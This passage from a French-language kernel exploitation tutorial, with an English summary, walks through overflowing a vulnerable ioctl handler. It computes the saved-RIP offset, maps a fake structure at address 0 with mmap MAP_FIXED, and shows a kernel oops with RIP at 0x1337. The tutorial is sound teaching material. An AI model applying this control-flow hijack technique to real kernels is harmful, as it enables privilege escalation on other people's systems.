Il n’est pas nécessaire de commenter tout le code assembleur, mais vous remarquerez peut-être quelque chose, l’opérande ds:vuln1_ioctl dans IDA signifie 0x0 (parce que l’adresse de reloc de vuln1_ioctl est zéro). Le compilateur n’a pas initialisé le pointeur de structure initial (en rsi) à zéro mais a optimisé les deux champs pour qu’ils soient directement à l’adresse 0x0(base)+0x0(offset dans la structure) pour la longueur et à l’adresse 0x0(base)+0x8(offset de rbuf dans la structure, le champ de longueur est un unsigned long) pour buf (loc_5+3=8). La partie intéressante est pour nous seulement le prologue et l’épilogue de la fonction, tout d’abord elle push trois registres et alloue 0x10 octets pour les variables locales, et si nous voulons être sûr de savoir à partir de quel offset rip est écrasé, nous pouvons regarder l’épilogue où il détruira juste les allocations précédentes. Ainsi, l’instruction sauvegardée est écrasée de 3 * 8 + 0x10 (trois registres + l’espace pour les variables locales), ce qui nous donne 40 ou 0x28. Maintenant que nous disposons de cette précieuse information, nous devons utiliser mmap pour mapper notre structure en 0x0. Pour cela, nous utilisons l’argument MAP_FIXED
qui nous permet de mapper certaines pages à une adresse virtuelle particulière. En 0x0, nous commençons à élaborer notre structure en mettant le champ de longueur à 0x28+8 pour ne déborder que le saved rip. Ensuite, nous prenons un pointeur vers les octets qui écraseront le saved rip pour les initialiser à 0x1337 (joli pattern (: ). Il ne nous reste plus qu’à compiler l’exploit et à le lancer, et comme nous le voyons ci-dessous, nous obtenons un crash avec un beau rip invalide 😀.
[ 5398.893290] BUG: unable to handle kernel paging request at 0000000000001337
[ 5398.893590] PGD 8000000043111067 P4D 8000000043111067 PUD 4617b067 PMD 43771067 PTE 0
[ 5398.893713] Oops: 0010 [#5] SMP PTI
[ 5398.893818] CPU: 0 PID: 1317 Comm: exploit Tainted: G D OE 4.19.0-8-amd64 #1 Debian 4.19.98-1
[ 5398.894229] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[ 5398.894438] RIP: 0010:0x1337
[ 5398.894662] Code: Bad RIP value.
[ 5398.894933] RSP: 0018:ffffc9000064fed8 EFLAGS: 00010286
[ 5398.895153] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000006
[ 5398.895463] RDX: 0000000000000000 RSI: 0000000000000082 RDI: ffff88804a6166b0
[ 5398.895673] RBP: 0000000000000000 R08: 00000000000005eb R09: 0000000000aaaaaa
[ 5398.896001] R10: 0000000000000000 R11: ffffc9000109f020 R12: 0000000000000000
[ 5398.896187] R13: ffffc9000064ff08 R14: 00007ffd164b6020 R15: 0000000000000000
[ 5398.896395] FS: 00007fc6ae32a500(0000) GS:ffff88804a600000(0000) knlGS:0000000000000000
[ 5398.896599] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5398.896809] CR2: 000000000000130d CR3: 0000000034140002 CR4: 00000000000206f0
[ 5398.897033] Call Trace:
[ 5398.897261] ? ksys_write+0x57/0xd0
[ 5398.897512] ? do_syscall_64+0x53/0x110
[ 5398.897749] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
Summary⌗
To summarize we’ve cover only the basics and we advice you to take a look at the links section. We have only seen how to trigger vulns like buffer overflows, off by one/two, NULL pointer dereferences … That are very basics vulnerabilities and for more advanced subjects you can look at the articles. If you have questions, please join my discord server or dm me on twitter.
Special thanks to sensei and for technical advices and to @medievalghoul for reviewing the english !!
~ cheers, nasm
Pour résumer, nous n’avons couvert que l’essentiel et nous vous conseillons de consulter la section des liens. Nous avons seulement vu comment déclencher des vulnérabilisées comme des buffer overflow, NULL pointer dereference … Ce sont des vulnérabilités très basiques et pour les sujets plus avancés, vous pouvez consulter les autres articles. Si vous avez des questions, veuillez rejoindre mon serveur Discord ou me DM sur Twitter.
Remerciements particuliers au sensai @m_101 et @aassfxxx pour les avis techniques, à @medievalghoul pour la révision de la version anglaise et MorpheusH3x pour la version française !!
~ cheers, nasm